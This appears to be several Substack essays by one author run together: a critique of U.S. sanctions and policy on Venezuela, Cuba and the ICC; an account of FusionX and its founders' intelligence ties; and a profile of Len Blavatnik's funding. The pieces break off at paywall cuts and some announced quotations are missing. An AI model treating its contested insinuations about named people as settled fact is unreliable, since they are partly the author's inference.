Elliott Abrams, who served as Trump’s first-term Venezuela envoy, called the arrangement “a recipe for an Iraq-style disaster.” Ten weeks after the capture, Abrams wrote in The Washington Post that “almost invisible so far is any progress toward a democratic transition.”

RAND researchers analyzing the aftermath put it more bluntly: “regime decapitation does not equal regime change.” Most of the ruling structure remained: the colectivos, the secret police, the corrupt military leadership, the Cuban intelligence officers embedded throughout. What had changed was that an American president had captured a sitting head of state on foreign soil, declared an interest in the country’s oil, and offered no plan for governance beyond “fixing” things on his own timeline.

Trump cited the Venezuelan template approvingly when asked about Cuba.

In a phone interview with CNN’s Dana Bash on March 6, he said Cuba was “going to fall pretty soon” and announced he was sending Rubio to handle the negotiations: “I’m going to put Marco over there and we’ll see how that works out.” In the same call, asked about the broader playbook, Trump pointed to Venezuela as the model. “It’s gonna work very easily,” he said. “It’s going to work like did in Venezuela. We have a wonderful leader there. She’s doing a fantastic job.” His “wonderful leader” was Delcy Rodríguez. Trump also took personal credit for the Cuban collapse: “I’ve been watching it for 50 years, and it’s fallen right into my lap because of me.”

The Cuban side of the equation comes with its own freight. Thirty-two Cuban military and intelligence officers were killed in Caracas during Operation Absolute Resolve, where they had been embedded with Maduro’s security detail. Their bodies returned to Havana in mid-January. Cuban president Miguel Díaz-Canel addressed crowds at the U.S. Embassy and vowed no concessions. Rubio is now preparing to negotiate with a government still mourning thirty-two of its own people, killed by the same United States now demanding they accept “new people in charge.”

Greenland came and went on a parallel track. Through January 2026, Trump refused to rule out military force to acquire the territory, slapped a 10% tariff on Denmark and seven other European countries with a threat to escalate to 25%, and demanded “Complete and Total Control of Greenland.” His own press secretary said “utilizing the U.S. military is always an option.” Trump backed down at Davos only after sustained European pushback and counsel from his own aides, settling for a vague “framework of a future deal.” Greenland remained nominally Danish. Trump kept the option open.

The throughline across all three campaigns is the absence of a plan for what comes after. Each operation begins with a national-security framing, narcotics in Venezuela, communism and migration from Cuba, Russian and Chinese ships near Greenland. Each one ends with an executive order or a special-forces operation. None of them comes with a coherent answer to the question that always follows: then what? In Venezuela, the answer was Delcy Rodríguez and a foreign-investor-friendly oil law. In Cuba, the answer is a country with a collapsing healthcare system and a million-dollar question about who runs the place once the lights stay off. In Greenland, the answer was a Truth Social post and a tariff threat aimed at Denmark.

The premise driving all three campaigns: destruction is the same as design. Break the existing order, the thinking goes, and something better will fill the vacuum, possibly run by the United States, possibly run by people Washington approves of, possibly run by no one in particular while American oil companies move in.

Trump articulated the post-war theory of governance recently while discussing Iran. The Iranian military, he explained, had been disabled in days. The Navy first, the Air Force after that, the anti-aircraft soon after. American jets were flying over Iran unopposed. The electricity grid could be eliminated “in a matter of minutes.” The oil infrastructure had been deliberately spared, not out of restraint, but because rebuilding it would “take them forever.”

Then came the governance plan, in his own words: “whoever it is that’s going to be running that, and we’re going to try to get people that are going to run it well.” That sentence, casually delivered, is the entire public framework. Disable the country. Then try to find acceptable replacements.

The same logic governs their Cuba campaign.

Trump turned to Rubio in the same interview and asked him to explain. “Cuba has an economy that doesn’t work and a political and governmental system they can’t fix,” Rubio said. “It’s not dramatic enough. It’s not going to fix it. So they’ve got some big decisions to make over there.” Pressed by a reporter on whether the embargo could be eased in exchange for cooperation, Rubio went further. The embargo, he confirmed, “is tied to political change on the island.” Cuba had survived “for 40 [years] on subsidies from the Soviet Union and now from Venezuela. They don’t get subsidies anymore. So they’re in a lot of trouble. And the people in charge are — they don’t know how to fix it. So they have to get new people in charge.”

Rubio cited the loss of Venezuelan subsidies as proof Cuba’s economy cannot survive. He neglected to mention that the United States itself eliminated those subsidies in January by capturing the Venezuelan president and seizing the tankers carrying oil to Havana. Trump’s framing of the same situation has been less guarded:

Six weeks later, with hospitals scaling back surgeries and the Cuban peso in freefall, neither man has named the “new people.”

The May 1 order locks the architecture in place. There is no stabilization plan, no transition framework, no offer to rebuild what the blockade has broken. The order extends the architecture of pressure indefinitely while the consequences play out somewhere else, on a timeline determined by how long ten million Cubans can be kept in the dark before something breaks. The Senate, given the opportunity to ask whether any of this counted as hostilities, voted not to ask.

Judges as fair game

Sanctioning ICC judges and prosecutors marked a major break with prior U.S. practice. The Bush administration refused to join the court and pursued bilateral immunity agreements aggressively, but had not attacked the judiciary nor designated a sitting judge by name. Trump has crossed that line and kept walking. Eleven ICC officials are now on the SDN List alongside Hezbollah financiers and North Korean front companies for the offense of doing their jobs.

Prost’s account, given to The Irish Times in December, captures the practical effect. Banks immediately closed her credit cards. Online retailers cut her off. Currency transfers to family members became unworkable, because SWIFT routes through American infrastructure. Her sanctioning, as Prost noted, was punishment for a 2020 ruling on a now-dormant Afghanistan investigation.

Sanctions cannot deter what has already happened. They can only punish.

NGOs and academics who interact with sanctioned ICC officials face their own exposure under the order’s “material support” provisions. A law professor advising a designated judge on a procedural question could, in principle, find herself on the same list. The order has been challenged in federal court on First Amendment grounds, with injunctions issued for some plaintiffs, though the underlying authority remains intact.

Layer the May 1 Cuba order atop E.O. 14203, and the architecture clarifies. A foreign bank that processes a payment for a sanctioned ICC official’s legal team could, in theory, trip the same secondary sanctions rules now threatening institutions that handle Cuban state business. A judge in The Hague and a port operator in Havana are not equivalent actors in any moral sense, but they face the same instruments now: asset freezes, travel bans, financial isolation. All ordered from Washington, none subject to any meaningful external review.

To governments outside the United States, the picture resembles a loyalty test more than a rules-based order. Investigate Russian war crimes in Ukraine and Washington applauds. Apply the same legal framework to Israeli or American conduct and your name may appear on an OFAC list.

The court has not changed, nor have the standards. Only the identities of the suspects have, which is precisely the point.

The quiet part, said aloud

The strongest argument for U.S. policy is the one defenders are usually too embarrassed to make in public. It runs roughly as follows: international criminal law is selectively enforced anyway, sanctions are a normal tool of statecraft, and the United States is entitled to use the leverage its financial centrality provides. If the world wanted a different system, the world should not have made the dollar its reserve currency.

There is something honest in this. The ICC has had an uneven record. Sanctions are not prison sentences. A sovereign state controlling access to its own markets is not the same as a treaty-based court asserting jurisdiction over non-members. American courts can review some sanctions designations. Congress, in theory, can rein in an overreaching president.

The argument cannot, however, rescue the principle of consent that the United States invokes against the ICC. If consent is the operative legal value, it is operative everywhere. American officials cannot be subject to a tribunal whose jurisdiction the United States has not accepted, fine; then Cuban officials, foreign bankers, and ICC judges should not be subject to American jurisdiction they have not accepted either. The position only coheres if you assume what it is supposed to prove: that some sovereigns are more sovereign than others, and that the United States stands at the top of the list because it has the power to put itself there.

The May 1 order quietly ratifies that position.

A government comfortable asserting near-universal authority where it holds structural power, in finance and trade, while denying that any other actor, court or treaty or multilateral body, may exercise comparable authority over Americans. Foreign ministries in U.S.-allied and non-aligned capitals alike have been saying so with growing volume: the rules-based order is, in practice, a power-based order with rules-based marketing.

A different approach would require concessions Washington has never been willing to make. It would mean accepting, in principle, that American and allied officials are not beyond the reach of international courts when alleged crimes occur on consenting territory. It would mean narrowing the emergency economic powers under which sanctions designations are made, with clearer standards and meaningful judicial review. It would mean acknowledging that secondary sanctions on third-country banks raise legal questions, not merely diplomatic ones.

None of that is on offer. Trump’s May 1 decree reinforces the working doctrine: jurisdiction that touches Americans or close allies is overreach, jurisdiction that ensnares foreigners is prerogative.

No one is fooled. The contradiction is visible to anyone outside Washington who cares to look — to allies, to adversaries, and increasingly to the central banks building payment systems that route around the dollar. American power as currently configured depends on the rest of the world choosing not to notice. The two signatures Trump put on EO 14203 and the May 1 order assume that choice will hold.

They are a poor wager on how long it will last.

Get more from Jackie Singh in the Substack app

Available for iOS and Android

Get the app

This is the story of a magazine article about a computer worm, a network of intelligence professionals who built companies around America’s critical infrastructure, and the months I spent inside one of those companies before being fired by a letter left in my mailbox. The connection between these threads is not that one caused the other, but that I was inside the second before I understood the first, and understanding the first is what eventually made the second make sense.

On the very first morning I reported to Accenture as a Senior Manager — newly hired to lead the FusionX team, one of the most respected red-teaming operations in American cybersecurity — co-founder Tom Parker stepped out of an elevator, strode through the glass doors, took one look at me, and said, “Who are YOU?” I gave my name and my title, and politely informed him I was a new hire starting that day. He grimaced, said nothing further, and walked away.

That was early June. By November of that same year, I would be terminated without cause by a letter mailed to my Manhattan apartment. In the intervening months, I had not been permitted to do the job I had been hired to do: lead a team of elite consultants to help solve the Fortune 500’s most pressing technical security concerns. A direct report who had followed me from a previous employer and I were assigned a single foreign financial client, taken off that job without explanation, and given nothing else. He has since confirmed this account. I was then placed on administrative leave, also without explanation — my equipment seized, my access revoked, and presence maintained just enough to be monitored while we were both excluded from everything of consequence.

I initially mentally framed what happened in common terms: I was the only dark-skinned woman in the group, and some of the hostility I encountered felt like it might have something to do with that. The cybersecurity industry has a well-documented problem with both racism and sexism, and I have been on the receiving end of both throughout my career. I spoke publicly about sexism and discrimination in the field after working on the Biden campaign in 2020. When the DerbyCon security conference shut down in 2019 after women and minorities raised concerns about harassment, the community blamed the people who spoke up — including me, just for having been quoted in the story.

What I experienced at FusionX was part of that broader pattern. But the deeper story, which I have reconstructed from public records, patent filings, corporate registrations, my own email inbox, and the documented career trajectories of the people involved, concerns what FusionX actually was, who controlled it, and the web of intelligence community veterans, oligarch capital, and privatized state power standing behind a company entrusted with the security architectures of U.S. government agencies and major multi-national corporations.

The Article That Knew Too Much

On October 5, 2010, Tablet Magazine published a brief essay on the Stuxnet worm, “Modern Warfare, Too” by Michael Tanji. The worm had recently been discovered infecting industrial control systems worldwide with a pronounced concentration in Iran. Tanji’s byline identified him as “a former supervisory intelligence officer who worked on information warfare issues at the Defense Intelligence Agency.” The article appeared in a curated “Web Wars!” series alongside a companion piece by Yossi Melman, the veteran Israeli intelligence correspondent for Haaretz, whose connections to the Mossad establishment are well documented. In 2020, Donald Trump elevated Melman’s account of the killing of the head of Iran’s nuclear program on Twitter.

Israeli journalist Shimon Aran, who served in the IDF’s Unit 8200, claimed to have notified Melman of the retweet, and that he was “very surprised..”

Melman’s article “Coded,” published in Tablet Magazine in October 2010, argued that Israel “may or may not” have been behind Stuxnet, and that it didn’t particularly matter. Tanji’s American-perspective article reached the same conclusion by a different route. On its surface, “Modern Warfare, Too” reads as competent analysis from a highly qualified commentator. Tanji correctly identified Stuxnet as targeting Siemens SCADA software, noted the worm’s sophistication, and speculated about Israeli involvement. When the article is mapped against what was publicly known in October 2010 and what would be confirmed months or years later, it is strikingly prescient.

The Symantec Stuxnet dossier, published in late September 2010, had concluded that “the ultimate target of Stuxnet remains unknown.” Ralph Langner, the German industrial control systems researcher who first speculated publicly that Natanz was the target, described his own assessment as “speculation.” The precise mechanism by which Stuxnet destroyed centrifuges by manipulating frequency converters manufactured by Fararo Paya and Vacon on Siemens S7-315 PLCs would not be confirmed until November 2010 at the earliest.

Joint U.S.-Israeli authorship under Operation Olympic Games was not reported until a New York Times piece in January 2011, and not fully confirmed until David Sanger’s June 2012 account. Kim Zetter's Countdown to Zero Day, the definitive account of Stuxnet's discovery and the operation behind it, provided much of the framework I used to verify what was and was not publicly established at each point in this timeline.

Tanji, writing in early October 2010, got the strategic picture almost perfectly right while remaining conspicuously vague on technical details.

He characterized Stuxnet as designed “not to kill, but simply to disorient: cyber tear gas.” Langner’s 2013 analysis, “To Kill a Centrifuge,” would confirm this framing years later, finding that the attackers “took great care to avoid catastrophic damage” and instead sought to induce early rotor failures that would be indistinguishable from routine engineering problems. He described digital weapons as “disposable sniper rifles, not cluster bombs,” a metaphor that reflects offensive cyber doctrine of the kind that has since become standard material at war colleges, but had no place in public discourse in 2010.

He observed that Stuxnet was “sophisticated enough, it is targeted enough, to make the sufficiently suspicious in Iran wonder if there is in fact not someone on the inside who has passed information.” In 2024, the Dutch newspaper De Volkskrant revealed that a recruited AIVD agent named Erik van Sabben had been the human penetration vector who physically introduced the malware into Iranian facilities. What Tanji had framed as speculation now reads more like a description of the actual effect.

He invoked Effects-Based Operations doctrine by name: “you don’t want to destroy the power plant, you just want to turn it off, because eventually you want the lights to come back.” At the time of that writing, no one outside a small circle of officials understood that this was the operational philosophy of Olympic Games. Each of these judgments was subsequently confirmed. None were established in the public record when Tanji wrote them down. All of them served the strategic communication interests of the operation’s sponsors.

In response to a request for comment from this publication, Tanji said that his article relied on no classified knowledge.

He said that he does not know Yossi Melman, and had not read Melman’s companion piece. He acknowledged maintaining “a decent sized network of friends and former colleagues with extensive experience in IW/CNO” (Information Warfare and Computer Network Operations) but said he has “no idea if any of them was involved with Stuxnet.”

While the article was remarkably prescient, the author says it was solely the product of publicly available analytic tradecraft.

The Author’s Credentials

Tanji was not a casual observer of cyber operations. His career placed him at the center of the American military cyber apparatus during its formative period. He began as a U.S. Army SIGINT analyst, served in Desert Storm, and moved through a succession of increasingly sensitive positions: intelligence specialist at U.S. Army Intelligence and Security Command (INSCOM), then the Defense Intelligence Agency, where from 1998 to 2004 he served as Supervisory Intelligence Officer in the Information Warfare Office within the Transnational Warfare Group. Profiles published by OODA Loop and CSO Online also place him at NSA and the National Reconnaissance Office.

At DIA, Tanji was selected as one of a “handful of intelligence officers selected by-name” to support the Joint Task Force for Computer Network Defense (JTF-CND), the direct precursor to U.S. Cyber Command. He represented DIA on National Security Council and National Intelligence Council cyber projects, deployed in a counterintelligence and HUMINT role during Operation Allied Force, and after September 11 created the Department of Defense’s first computer forensics and intelligence fusion team. He left government in 2005 and co-founded Kyrus Tech, which later partnered with Microsoft to disrupt the Zeus botnet. He is also listed as one of the co-founders of security firm Carbon Black.

In 2009, Tanji edited Threats in the Age of Obama, a compendium of national security essays published by Nimble Books. Among the twenty-one contributors were Matt Devost and Bob Gourley.

The Book and Its People

Bob Gourley was a Naval Intelligence officer who became the first Director of Intelligence (J2) at JTF-CND, the same organization Tanji had supported, and later served as Chief Technology Officer of the Defense Intelligence Agency, the same agency where Tanji had worked in the Information Warfare Office. After leaving government, Gourley co-founded OODA LLC with Matt Devost. His website CTOvision.com published approving coverage of Tanji’s work at Kyrus Tech.

Devost’s biography takes a different turn. He arrived at SAIC in 1995. By his own account, buried in keywords at the bottom of his LinkedIn resume, he directed the Coalition Vulnerability Assessment Team, supported the President’s Commission on Critical Infrastructure Protection and the Defense Science Board, served on the President’s National Security Telecommunications Advisory Committee, and provided support during the Solar Sunrise investigation — the 1998 Department of Defense cyber intrusion that directly led to the creation of JTF-CND. He was twenty-five years old.

In 1996, Devost co-founded the Terrorism Research Center and began operating from devost@terrorism.com. A 2004 USPTO trademark filing shows the organization attempting to register “TERRORISM.COM” from an office on North Fairfax Drive in Arlington, Virginia. The trademark was refused as “merely descriptive.” Today, terrorism.com redirects to the website of DEV Capital, Devost’s investment entity. At iDEFENSE, he built a cyber-intelligence operation serving Fortune 500 clients. At Security Design International, he ran penetration testing and vulnerability assessments against what he described as “every critical infrastructure segment.”

Then, in 2006, Erik Prince purchased Devost’s companies and merged them with the consulting group led by Cofer Black, the former Director of the CIA’s Counterterrorism Center, to create Total Intelligence Solutions. Devost became its president. Rob Richer, former CIA Associate Deputy Director of Operations, served as CEO. The Washington Post reported that Prince had “built Total Intel” from Devost’s firms.

Total Intelligence Solutions functioned as something akin to a privatized CIA: staffed with former senior Agency officers, capitalized by the Blackwater fortune, and selling intelligence services to governments and corporations alike. Devost ran its day-to-day operations with more than sixty employees.

Both Sides of the Table

In June 2010, Devost co-founded FusionX LLC with Tom Parker, a British cybersecurity expert who had presented with him at Black Hat on adversary characterization back in 2003. FusionX offered red-teaming, penetration testing, and cyber defense, promising that its “best in class technical assessment teams will target your information assets using the highly tailored tactics, techniques and procedures (TTP’s) of your most likely attackers.” Its clients included Fortune 500 companies and government agencies.

From March 2010 through April 2013, Devost simultaneously held an appointment as a Special Government Employee advising the Under Secretary of Defense for Policy, the Deputy Assistant Secretary of Defense for Cyber Policy, and “other senior leadership” on cyber strategy. This period encompassed the discovery of Stuxnet, the operational peak of Olympic Games, the achievement of full operational capability by U.S. Cyber Command, and the formulation of the country’s first comprehensive cyber strategy.

The dual position would have given Devost visibility into both the government’s offensive and defensive cyber posture and the vulnerability landscape of the private sector at the same time.

In 2015, Accenture acquired FusionX. Devost became a Managing Director leading Accenture’s Global Cyber Defense practice, while Parker took on global growth and strategy for Accenture Security’s 6,200-person organization, which generated more than $1.8 billion in annual revenue. Their access scaled accordingly. After both left Accenture, Parker served as Deputy CISO at AIG and then founded Hubble Technology, which was acquired by NetSPI/KKR in 2024.

As of early 2026, both Parker and Harvey work in IBM’s cybersecurity division.

The reporting that follows — on the Blavatnik-funded institution at the center of Devost’s public image, the WINTERMUTE patents, and the months I spent at Accenture’s FusionX before being terminated by mail — is available to paid subscribers.

Hacking, but Legal has no access to protect. Only readers. Paid subscribers are the reason this piece exists, and the reason the next one will.

Read more

She joined the Oxford Programme for Cyber and Technology Policy, known as OxCTP, which is co-directed by Ciaran Martin, the founding CEO of the United Kingdom’s National Cyber Security Centre, an operational cyber arm of GCHQ. Martin had joined the Blavatnik School as Professor of Practice in September 2020, the day after stepping down from his government role.

The two most recent leaders of civilian cyber defense in the United States and the United Kingdom now work in the same program, at the same school, under the same name. That name belongs to a Soviet-born billionaire whose business history, according to former senior Treasury sanctions officials, places him alongside sanctioned Russian oligarchs in every respect except his U.S. passport: Len Blavatnik.

That characterization is contested. Blavatnik’s representatives reject the oligarch label, and as this piece will discuss, several major news outlets have published corrections after using it. But in November 2020, two former senior U.S. government officials with direct sanctions expertise published an Atlantic Council report stating plainly that Blavatnik’s “funding can hardly be considered legitimate” and that he escapes sanctions only because he is a U.S. citizen.

There are reasons this convergence has gone unreported that have nothing to do with its importance. Blavatnik’s reputation apparatus — PR responses within hours of publication, legal letters, and corrections extracted from major outlets — makes writing about his network expensive. The facts are public; the cost of a single imprecise phrase is not. Institutional capture becomes invisible not because no one sees it, but because describing it carefully exceeds what most deadlines allow.

What follows is an accounting of what it means that the people the sanctions machinery could not touch are now funding the institutional home of the most senior Western cyber officials.

The Donor

Len Blavatnik was born in Odessa in 1957, when it was part of the Ukrainian Soviet Socialist Republic. His family moved to Yaroslavl, north of Moscow, where he attended the Moscow State University of Railway Engineering before emigrating to the United States in 1978. He earned a master’s in computer science from Columbia University and an MBA from Harvard Business School. In 1986, he founded Access Industries, the holding company through which he conducts most of his business operations, and which now controls Warner Music Group.

After the collapse of the Soviet Union, Blavatnik used Access Industries to acquire former state assets during Russia’s privatization era, accumulating shares in aluminum smelters and energy companies that became the foundation of his fortune. As of April 2026, Forbes estimates his net worth at $31.4 billion, making him the sixty-ninth richest person in the world. He holds dual American and British citizenship and was knighted by Queen Elizabeth II in 2017.

His early business partnerships are what counterintelligence professionals would focus on. This is not a matter of individual bad actors. As former Bush administration official Philip Zelikow and three co-authors argued in Foreign Affairs in mid-2020, the Kremlin has transformed corruption itself “into an instrument of national strategy,” a doctrine under which ostensibly private business relationships, philanthropic giving, and elite social access are tools of statecraft rather than peripheral side effects of it.

Blavatnik reportedly became close friends with Viktor Vekselberg at the Moscow State University of Railway Engineering. Together, they co-founded the Renova investment vehicle and accumulated stakes in Russian aluminum smelters. In 1997, Blavatnik’s Access Industries joined with Vekselberg’s Renova Group and Mikhail Fridman’s Alfa Group to form the AAR consortium, which acquired a 40% stake in Tyumen Oil Company (TNK) for $800 million. AAR later partnered with BP to form TNK-BP, one of the largest oil companies in Russia.

The venture was enormously profitable: when the state-owned Rosneft purchased AAR’s stake in 2013, the consortium received $28 billion in cash, having already collected $19 billion in dividends. Blavatnik was also a board member of Rusal, one of the world’s largest aluminum producers, from 2007 to 2016. The company was founded by Oleg Deripaska and controlled through his EN+ Group; Blavatnik held an indirect minority stake of approximately 8% through SUAL Partners (jointly with Vekselberg), which held ~22%.

Vekselberg was sanctioned by the U.S. Treasury in April 2018 under E.O. 13662 “for operating in the energy sector of the Russian Federation economy.” Deripaska was sanctioned “for having acted or purported to act for or on behalf of, directly or indirectly, a senior official of the Government of the Russian Federation” under E.O. 13661 and 13662.

Blavatnik himself has not been sanctioned by the United States or the United Kingdom, and his representatives have been aggressive in defending that distinction. Spokespersons for Access Industries have said repeatedly that he “hasn’t had any contact with president Vladimir Putin since 2000,” “plays no role in Russian politics,” and “is not Russian,” emphasizing that he has been an American citizen since the 1980s, was born in Soviet Ukraine, and holds dual U.S.–U.K. citizenship.

Despite this, in December 2023, Ukrainian President Volodymyr Zelensky signed a decree imposing sanctions on 51 individuals, Blavatnik among them. He remains off the U.S. OFAC Specially Designated Nationals list and the U.K. OFSI sanctions list, but the country of his birth has formally sanctioned him. Blavatnik’s fortune was built alongside and intertwined with individuals who have since been sanctioned, and his business history in post-Soviet Russia appears inseparable from the political economy of the oligarch era.

Two former senior Treasury and National Security Council officials made the same assessment explicitly in a 2020 Atlantic Council report on Russian dark money. Anders Åslund, a former economic adviser to the Russian government from 1991 to 1994, and Julia Friedlander, who served as Senior Policy Advisor for Europe in Treasury’s Office of Terrorism and Financial Intelligence during the period when Vekselberg and Deripaska were sanctioned, wrote that Blavatnik “became a naturalized US citizen in 1984” but “made his big money much later on in the Russian heavy industry, notably in TNK-BP, in partnership with Viktor Vekselberg, who was sanctioned by the US government as a Kremlin oligarch in April 2018.”

Their conclusion: “Blavatnik is a US citizen and cannot be sanctioned by the United States, but his funding can hardly be considered legitimate.” That sentence, written by someone who sat inside Treasury’s sanctions apparatus during the relevant period, is the clearest public statement from a former U.S. government official that the only thing separating Blavatnik from his sanctioned partners is his passport.

In 2019, Quartz published Panama Papers–based reporting describing an indirect business link between Blavatnik and a Russian Interior Ministry official. The connection ran through Amediateka, a Russian streaming company majority-owned by Access Industries, which had outsourced services to Nemo TV, a company in which Alexander Makhonov, then Russia’s Deputy Minister of Internal Affairs, held a stake via offshore entities.

Quartz was careful to note that “it’s unclear whether Blavatnik had any interaction with Makhonov” and that “there is no allegation of any illegality.” The relationship was a vendor arrangement between a subsidiary and a company part-owned by a Russian official, not a direct partnership — perhaps a meaningful distinction on paper, though one that still places a Russian Interior Ministry figure inside Blavatnik’s corporate supply chain during a period when his holdings remained deeply embedded in Russia.

Access Industries has described his donations as driven by a “pro-business, pro-Israel agenda” — a framing that is only partially borne out by the FEC record. Blavatnik’s political giving spans both American parties and multiple countries, but is bipartisan in name only. Between 2009 and 2014, his federal donations were modest and roughly balanced, peaking at $273,600 in the 2013–2014 cycle, according to FEC data compiled by the Dallas Morning News and Quartz.

Starting in 2015, his spending transformed: he poured at least $6.35 million into Republican committees and PACs during the 2015–2016 cycle with the overwhelming majority directed at the Senate GOP leadership and the PACs of presidential and Senate candidates. Mitch McConnell’s Senate Leadership Fund received roughly $2.5 million in that cycle and approximately $3.5 million total between 2015 and 2017, by far the largest single destination.

The McConnell donations sit alongside a sequence of events the Atlantic Council report describes as “public and legal” but impossible to ignore.

Blavatnik was a minority owner of Rusal when the Treasury Department sanctioned Rusal along with its controlling owners in April 2018. After what Åslund and Friedlander describe as “intense lobbying by Rusal” in a campaign led by Lord Gregory Barker, the new British CEO of Rusal’s parent company EN+, and including former Senator David Vitter of Louisiana, then at the lobbying firm Mercury Public Affairs, the Treasury lifted the sanctions against Rusal in January 2019. “Almost immediately afterward,” Åslund and Friedlander write, “Rusal committed to investing $200 million in a company in Kentucky, McConnell’s home state.”

McConnell led the Senate effort to block Chuck Schumer’s resolution of disapproval, which would have kept the Rusal sanctions in place. The resolution narrowly failed, 57-42, falling three votes short of the 60 needed to overcome a filibuster. Eleven Republicans crossed McConnell to vote with Democrats — including, notably, Marco Rubio, who had received $1.5 million in Blavatnik-connected contributions through his Conservative Solutions PAC and Florida First Project. Blavatnik’s donations did not purchase Rubio’s vote on this specific question. They appear, however, to have had a different effect on the Republican leadership: according to TIME magazine’s August 2019 investigation, two of the three votes needed to save the sanctions came from Kentucky’s own delegation: McConnell himself and junior Senator Rand Paul.

There is no public record of Blavatnik personally lobbying McConnell on the Rusal question; the documented relationship between them is financial. What is documented, through TIME’s reporting, is that Braidy Industries CEO Craig Bouchard met with a Rusal sales executive in Zurich in January 2019, while Rusal was still under U.S. sanctions, and was told: “If we get the sanctions off, let’s meet again.” The next day, McConnell blocked the Schumer resolution on the Senate floor. Ten days later, Treasury formally lifted the sanctions. Eleven weeks after that, Braidy and Rusal announced a $200 million partnership in Ashland, Kentucky. Senate Finance ranking member Ron Wyden opened an investigation in October 2019 asking whether the Braidy-Rusal discussions had taken place while sanctions were still in force. Bouchard never fully answered on the record.

McConnell told reporters in May 2019 that his position on Rusal was “completely unrelated to anything that might happen in my home state.” Michael McFaul, the former U.S. Ambassador to Russia under the Obama administration, told the Washington Post: “It is shocking how blatantly transactional this arrangement looks.” Heather Conley, a former Deputy Assistant Secretary of State under George W. Bush, put it more structurally in TIME:

The Kentucky mill was never built. Rusal ultimately invested approximately $65 million of its $200 million pledge before suspending further investment in March 2021. Braidy Industries was renamed Unity Aluminum, eventually merged with Steel Dynamics, and the mill project moved elsewhere. Kentucky recouped its $15 million taxpayer investment in September 2022, and the site was donated back to the regional industrial authority. The political function of the Rusal-Kentucky deal — the lifting of sanctions through the promise of American jobs — appears to have outlived its economic function by several years.

Beyond McConnell, Blavatnik’s Republican giving continued down the ticket: $1.1 million to Scott Walker’s PAC, $800,000 to Lindsey Graham’s PAC, $250,000 to John Kasich, and $200,000 to John McCain. Blavatnik then added $1 million to Donald Trump’s 2017 inaugural committee. His donations to Democrats over the same period to Kamala Harris, Chuck Schumer, Ron Wyden, Bob Menendez, and Hillary Clinton were described by Quartz as “relatively small sums” totaling in the low hundreds of thousands across multiple recipients. In the 2020 cycle, he gave $5,200 to Pete Buttigieg and $5,600 to Joe Biden.

Framing this as “bipartisan” would obscure a donation ratio of at least ten to one in favor of Republicans during the pivotal 2015–2017 period, concentrated in the hands of GOP leadership. The identities of the recipients, including the top foreign policy official in the United States government and the chairman of the Senate committee responsible for the federal budget blueprint, matter more now than they did when the donations were made.

Marco Rubio was confirmed as the 72nd Secretary of State on January 20, 2025 by a 99–0 Senate vote, and was sworn in the following day; since May 1, 2025, he has also served concurrently as acting National Security Advisor, the first person to hold both positions simultaneously since Henry Kissinger. Lindsey Graham was elected Chairman of the Senate Budget Committee for the 119th Congress on December 20, 2024, and has since used that chair to shepherd the FY 2025 budget resolution and the “One Big Beautiful Bill Act” through the Senate.

In 2024, the Washington Post reported that Blavatnik belonged to a WhatsApp group of powerful U.S. business leaders, whose stated goals included shifting public opinion in favor of Israel and coordinating with Israeli government officials after October 7th. Members discussed receiving private briefings from Israeli officials and pressuring Columbia University’s administration to permit police action against student protesters.

The Washington Post’s reporting drew pushback. NYC Deputy Mayor for Communications Fabien Levy, who is Jewish, called the framing “offensive” and “antisemitic” in a post on X:

None of this is secret; it is the documented financial and political biography of the man whose name is on the school where America’s and Britain’s top cyber officials now work. With that said, billionaires have deep pockets with which to handle legal and media matters. Blavatnik’s representatives have publicly rejected the “oligarch” label as “both highly inaccurate and offensive,” and major outlets including the Guardian and the Times of London have published formal corrections after describing him as a “Putin pal” or “Putin associate.”

His lawyer, Martin Singer, told Quartz in a December 2018 letter that Blavatnik had “zero” involvement in Russian politics.

Bloomberg wrote in May 2023 that “naturalized US citizen” Blavatnik had divested “his last major asset in the country where he seeded his fortune,” exiting a chapter that began with TNK-BP’s sale to Rosneft in 2013 and his departure from the Rusal board in 2016.

The Institutional Network

The Blavatnik philanthropic footprint across Western academic institutions is extraordinary in both scale and strategic positioning.

The Blavatnik School of Government at the University of Oxford was founded in 2010 with a £75 million donation from the Blavatnik Family Foundation, one of the largest gifts in Oxford’s nine-hundred-year history. The original donation came from “Len Blavatnik and a trust associated with him” per Oxford’s Council Regulations; the “Blavatnik Family Foundation” was formally incorporated as a 501(c)(3) later, though the Foundation’s website now claims the gift.

The university contributed an additional £26 million. The school’s purpose-built headquarters, designed by the famous Swiss architectural firm Herzog and de Meuron, was inaugurated by Prince William in 2016. It trains future government leaders through its Master of Public Policy program, hosts senior practitioners as visiting fellows, and conducts research on governance and public policy. It is, by design, a pipeline for the people who will run governments.

Oxford’s own governance regulations for the school are clear: Regulation 3 states “the academic direction and day-to-day management of the School shall be entirely and exclusively the responsibility of the University,” and Regulation 8 affirms Oxford’s “duty to preserve and protect the academic freedom of its academic staff.” But the same regulations contain a more unusual provision: the appointment of the Dean “shall be made by Council, with the approval in writing of the Blavatnik School of Government Foundation, such approval not to be unreasonably withheld.” The donor’s foundation holds a contractual say over who leads the institution. This arrangement is unusual in academic governance, where donor influence over senior appointments is typically resisted.

The Blavatnik Interdisciplinary Cyber Research Center (ICRC) at Tel Aviv University was established as a joint initiative with the Israel National Cyber Directorate under the Prime Minister’s Office. $65 million funded the entire “Blavatnik Initiative” at TAU — encompassing the ICRC in addition to a drug discovery center, computer science fund, and other programs. ICRC is led by Major General (Ret.) Isaac Ben-Israel, former Director of Defense R&D at Israel’s Ministry of Defense. The center hosts Cyber Week, one of the world’s largest cybersecurity conferences drawing over 11,000 attendees from 99 countries, and runs DefenseTech Week in collaboration with the Israeli Ministry of Defense.

Beyond these two cyber-specific institutions, the Blavatnik Foundation has donated at least $270 million to Harvard (including $200 million to Harvard Medical School, the largest gift in HMS history), roughly $75 million to Yale, and tens of millions more to Columbia, Stanford, Brown, the University of Pennsylvania, the University of Cambridge, the Royal Academy of Engineering, and the New York Academy of Sciences. The Blavatnik Family Foundation’s own website now reports contributions exceeding $1.3 billion to over 250 institutions.

The pattern is clear: Blavatnik’s money does not simply support academic research. It names buildings, names schools, names programs, and in the case of the Oxford school, grants contractual influence over leadership appointments. The institutions receiving this funding are the ones that train government officials, conduct cyber policy research, and host leaders who recently held some of the most sensitive civilian cyber defense positions in the Western alliance.

The Cyber Leadership Pipeline

The appointments at the Blavatnik School follow a pattern: government cyber leaders depart their positions and land at Oxford, where they receive academic prestige, a platform for continued policy influence, and proximity to the Blavatnik network, while simultaneously taking on private-sector roles.

